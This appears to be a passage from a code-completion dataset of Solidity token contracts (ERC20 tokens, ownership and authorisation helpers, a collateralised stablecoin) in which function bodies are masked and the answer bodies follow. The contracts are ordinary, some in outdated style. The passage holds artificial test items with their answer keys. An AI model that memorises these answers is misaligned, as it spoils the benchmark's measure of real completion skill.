contract ConfidoToken { /* Public variables of the token */ string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* Initializes contract with initial supply tokens to the creator of the contract */ function ConfidoToken() { initialSupply = 1500000000000000; name ="Confido Token"; decimals = 8; symbol = "CFD"; balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply } /* Send coins */ function transfer(address _to, uint256 _value) {<FILL_FUNCTION_BODY> } /* This unnamed function is called whenever someone tries to send ether to it */ function () { throw; // Prevents accidental sending of ether } }
contract ConfidoToken { /* Public variables of the token */ string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* Initializes contract with initial supply tokens to the creator of the contract */ function ConfidoToken() { initialSupply = 1500000000000000; name ="Confido Token"; decimals = 8; symbol = "CFD"; balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply } <FILL_FUNCTION> /* This unnamed function is called whenever someone tries to send ether to it */ function () { throw; // Prevents accidental sending of ether } }
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient
function transfer(address _to, uint256 _value)
/* Send coins */ function transfer(address _to, uint256 _value)
31233
BloomCoin
allowance
contract BloomCoin is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; string public constant name = "BloomCoin"; string public constant symbol = "BLN"; uint8 public constant decimals = 18; address owner = msg.sender; uint256 _totalSupply = 100000000 * (10 ** 18); // 100 Million supply constructor() public { balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address player) public view returns (uint256) { return balances[player]; } function allowance(address player, address spender) public view returns (uint256) {<FILL_FUNCTION_BODY> } function transfer(address to, uint256 value) public returns (bool) { require(value <= balances[msg.sender]); require(to != address(0)); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= balances[from]); require(value <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function burn(uint256 amount) external { require(amount != 0); require(amount <= balances[msg.sender]); _totalSupply = _totalSupply.sub(amount); balances[msg.sender] = balances[msg.sender].sub(amount); emit Transfer(msg.sender, address(0), amount); } }
contract BloomCoin is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; string public constant name = "BloomCoin"; string public constant symbol = "BLN"; uint8 public constant decimals = 18; address owner = msg.sender; uint256 _totalSupply = 100000000 * (10 ** 18); // 100 Million supply constructor() public { balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address player) public view returns (uint256) { return balances[player]; } <FILL_FUNCTION> function transfer(address to, uint256 value) public returns (bool) { require(value <= balances[msg.sender]); require(to != address(0)); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= balances[from]); require(value <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function burn(uint256 amount) external { require(amount != 0); require(amount <= balances[msg.sender]); _totalSupply = _totalSupply.sub(amount); balances[msg.sender] = balances[msg.sender].sub(amount); emit Transfer(msg.sender, address(0), amount); } }
return allowed[player][spender];
function allowance(address player, address spender) public view returns (uint256)
function allowance(address player, address spender) public view returns (uint256)
77282
BasicToken
balanceOf
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) {<FILL_FUNCTION_BODY> } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } <FILL_FUNCTION> }
return balances[_owner];
function balanceOf(address _owner) public constant returns (uint256 balance)
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance)
76378
DSAuth
isAuthorized
contract DSAuth is DSAuthEvents { address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } modifier auth { require(isAuthorized(msg.sender)); _; } function isAuthorized(address src) internal view returns (bool) {<FILL_FUNCTION_BODY> } }
contract DSAuth is DSAuthEvents { address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } modifier auth { require(isAuthorized(msg.sender)); _; } <FILL_FUNCTION> }
if (src == owner) { return true; } else { return false; }
function isAuthorized(address src) internal view returns (bool)
function isAuthorized(address src) internal view returns (bool)
1235
McdonaldsDAO
_burn
contract McdonaldsDAO is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'McdonaldsDAO '; string private _symbol = 'MCDAO'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000000000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000000000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
contract McdonaldsDAO is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'McdonaldsDAO '; string private _symbol = 'MCDAO'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000000000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000000000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } <FILL_FUNCTION> /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount);
function _burn(address account, uint256 amount) internal virtual
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual
48183
Ownable
transferOwnership
contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } }
contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } <FILL_FUNCTION> function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } }
require(_newOwner != address(0)); newOwner = _newOwner;
function transferOwnership(address _newOwner) public onlyOwner
function transferOwnership(address _newOwner) public onlyOwner
15747
OptionsToken
storeOptions
contract OptionsToken is StandardToken, Ownable { using SafeMath for uint256; bool revertable = true; mapping (address => uint256) public optionsOwner; modifier hasOptionPermision() { require(msg.sender == owner); _; } function storeOptions(address recipient, uint256 amount) public hasOptionPermision() {<FILL_FUNCTION_BODY> } function refundOptions(address discharged) public onlyOwner() returns (bool) { require(revertable); require(optionsOwner[discharged] > 0); require(optionsOwner[discharged] <= balances[discharged]); uint256 revertTokens = optionsOwner[discharged]; optionsOwner[discharged] = 0; balances[discharged] = balances[discharged].sub(revertTokens); balances[owner] = balances[owner].add(revertTokens); emit Transfer(discharged, owner, revertTokens); return true; } function doneOptions() public onlyOwner() { require(revertable); revertable = false; } }
contract OptionsToken is StandardToken, Ownable { using SafeMath for uint256; bool revertable = true; mapping (address => uint256) public optionsOwner; modifier hasOptionPermision() { require(msg.sender == owner); _; } <FILL_FUNCTION> function refundOptions(address discharged) public onlyOwner() returns (bool) { require(revertable); require(optionsOwner[discharged] > 0); require(optionsOwner[discharged] <= balances[discharged]); uint256 revertTokens = optionsOwner[discharged]; optionsOwner[discharged] = 0; balances[discharged] = balances[discharged].sub(revertTokens); balances[owner] = balances[owner].add(revertTokens); emit Transfer(discharged, owner, revertTokens); return true; } function doneOptions() public onlyOwner() { require(revertable); revertable = false; } }
optionsOwner[recipient] += amount;
function storeOptions(address recipient, uint256 amount) public hasOptionPermision()
function storeOptions(address recipient, uint256 amount) public hasOptionPermision()
14756
EtherNomin
EtherNomin
contract EtherNomin is ExternStateProxyFeeToken { /* ========== STATE VARIABLES ========== */ // The oracle provides price information to this contract. // It may only call the updatePrice() function. address public oracle; // The address of the contract which manages confiscation votes. Court public court; // Foundation wallet for funds to go to post liquidation. address public beneficiary; // Nomins in the pool ready to be sold. uint public nominPool; // Impose a 50 basis-point fee for buying from and selling to the nomin pool. uint public poolFeeRate = UNIT / 200; // The minimum purchasable quantity of nomins is 1 cent. uint constant MINIMUM_PURCHASE = UNIT / 100; // When issuing, nomins must be overcollateralised by this ratio. uint constant MINIMUM_ISSUANCE_RATIO = 2 * UNIT; // If the collateralisation ratio of the contract falls below this level, // immediately begin liquidation. uint constant AUTO_LIQUIDATION_RATIO = UNIT; // The liquidation period is the duration that must pass before the liquidation period is complete. // It can be extended up to a given duration. uint constant DEFAULT_LIQUIDATION_PERIOD = 90 days; uint constant MAX_LIQUIDATION_PERIOD = 180 days; uint public liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD; // The timestamp when liquidation was activated. We initialise this to // uint max, so that we know that we are under liquidation if the // liquidation timestamp is in the past. uint public liquidationTimestamp = ~uint(0); // Ether price from oracle (fiat per ether). uint public etherPrice; // Last time the price was updated. uint public lastPriceUpdate; // The period it takes for the price to be considered stale. // If the price is stale, functions that require the price are disabled. uint public stalePeriod = 2 days; // Accounts which have lost the privilege to transact in nomins. mapping(address => bool) public frozen; /* ========== CONSTRUCTOR ========== */ function EtherNomin(address _havven, address _oracle, address _beneficiary, uint initialEtherPrice, address _owner, TokenState initialState) ExternStateProxyFeeToken("Ether-Backed USD Nomins", "eUSD", 15 * UNIT / 10000, // nomin transfers incur a 15 bp fee _havven, // the havven contract is the fee authority initialState, _owner) public {<FILL_FUNCTION_BODY> } /* ========== SETTERS ========== */ function setOracle(address _oracle) external optionalProxy_onlyOwner { oracle = _oracle; emit OracleUpdated(_oracle); } function setCourt(Court _court) external optionalProxy_onlyOwner { court = _court; emit CourtUpdated(_court); } function setBeneficiary(address _beneficiary) external optionalProxy_onlyOwner { beneficiary = _beneficiary; emit BeneficiaryUpdated(_beneficiary); } function setPoolFeeRate(uint _poolFeeRate) external optionalProxy_onlyOwner { require(_poolFeeRate <= UNIT); poolFeeRate = _poolFeeRate; emit PoolFeeRateUpdated(_poolFeeRate); } function setStalePeriod(uint _stalePeriod) external optionalProxy_onlyOwner { stalePeriod = _stalePeriod; emit StalePeriodUpdated(_stalePeriod); } /* ========== VIEW FUNCTIONS ========== */ /* Return the equivalent fiat value of the given quantity * of ether at the current price. * Reverts if the price is stale. */ function fiatValue(uint eth) public view priceNotStale returns (uint) { return safeMul_dec(eth, etherPrice); } /* Return the current fiat value of the contract's balance. * Reverts if the price is stale. */ function fiatBalance() public view returns (uint) { // Price staleness check occurs inside the call to fiatValue. return fiatValue(address(this).balance); } /* Return the equivalent ether value of the given quantity * of fiat at the current price. * Reverts if the price is stale. */ function etherValue(uint fiat) public view priceNotStale returns (uint) { return safeDiv_dec(fiat, etherPrice); } /* The same as etherValue(), but without the stale price check. */ function etherValueAllowStale(uint fiat) internal view returns (uint) { return safeDiv_dec(fiat, etherPrice); } /* Return the units of fiat per nomin in the supply. * Reverts if the price is stale. */ function collateralisationRatio() public view returns (uint) { return safeDiv_dec(fiatBalance(), _nominCap()); } /* Return the maximum number of extant nomins, * equal to the nomin pool plus total (circulating) supply. */ function _nominCap() internal view returns (uint) { return safeAdd(nominPool, totalSupply); } /* Return the fee charged on a purchase or sale of n nomins. */ function poolFeeIncurred(uint n) public view returns (uint) { return safeMul_dec(n, poolFeeRate); } /* Return the fiat cost (including fee) of purchasing n nomins. * Nomins are purchased for $1, plus the fee. */ function purchaseCostFiat(uint n) public view returns (uint) { return safeAdd(n, poolFeeIncurred(n)); } /* Return the ether cost (including fee) of purchasing n nomins. * Reverts if the price is stale. */ function purchaseCostEther(uint n) public view returns (uint) { // Price staleness check occurs inside the call to etherValue. return etherValue(purchaseCostFiat(n)); } /* Return the fiat proceeds (less the fee) of selling n nomins. * Nomins are sold for $1, minus the fee. */ function saleProceedsFiat(uint n) public view returns (uint) { return safeSub(n, poolFeeIncurred(n)); } /* Return the ether proceeds (less the fee) of selling n * nomins. * Reverts if the price is stale. */ function saleProceedsEther(uint n) public view returns (uint) { // Price staleness check occurs inside the call to etherValue. return etherValue(saleProceedsFiat(n)); } /* The same as saleProceedsEther(), but without the stale price check. */ function saleProceedsEtherAllowStale(uint n) internal view returns (uint) { return etherValueAllowStale(saleProceedsFiat(n)); } /* True iff the current block timestamp is later than the time * the price was last updated, plus the stale period. */ function priceIsStale() public view returns (bool) { return safeAdd(lastPriceUpdate, stalePeriod) < now; } function isLiquidating() public view returns (bool) { return liquidationTimestamp <= now; } /* True if the contract is self-destructible. * This is true if either the complete liquidation period has elapsed, * or if all tokens have been returned to the contract and it has been * in liquidation for at least a week. * Since the contract is only destructible after the liquidationTimestamp, * a fortiori canSelfDestruct() implies isLiquidating(). */ function canSelfDestruct() public view returns (bool) { // Not being in liquidation implies the timestamp is uint max, so it would roll over. // We need to check whether we're in liquidation first. if (isLiquidating()) { // These timestamps and durations have values clamped within reasonable values and // cannot overflow. bool totalPeriodElapsed = liquidationTimestamp + liquidationPeriod < now; // Total supply of 0 means all tokens have returned to the pool. bool allTokensReturned = (liquidationTimestamp + 1 weeks < now) && (totalSupply == 0); return totalPeriodElapsed || allTokensReturned; } return false; } /* ========== MUTATIVE FUNCTIONS ========== */ /* Override ERC20 transfer function in order to check * whether the recipient account is frozen. Note that there is * no need to check whether the sender has a frozen account, * since their funds have already been confiscated, * and no new funds can be transferred to it.*/ function transfer(address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transfer_byProxy(messageSender, to, value); } /* Override ERC20 transferFrom function in order to check * whether the recipient account is frozen. */ function transferFrom(address from, address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transferFrom_byProxy(messageSender, from, to, value); } /* Update the current ether price and update the last updated time, * refreshing the price staleness. * Also checks whether the contract's collateral levels have fallen to low, * and initiates liquidation if that is the case. * Exceptional conditions: * Not called by the oracle. * Not the most recently sent price. */ function updatePrice(uint price, uint timeSent) external postCheckAutoLiquidate { // Should be callable only by the oracle. require(msg.sender == oracle); // Must be the most recently sent price, but not too far in the future. // (so we can't lock ourselves out of updating the oracle for longer than this) require(lastPriceUpdate < timeSent && timeSent < now + 10 minutes); etherPrice = price; lastPriceUpdate = timeSent; emit PriceUpdated(price); } /* Issues n nomins into the pool available to be bought by users. * Must be accompanied by $n worth of ether. * Exceptional conditions: * Not called by contract owner. * Insufficient backing funds provided (post-issuance collateralisation below minimum requirement). * Price is stale. */ function replenishPool(uint n) external payable notLiquidating optionalProxy_onlyOwner { // Price staleness check 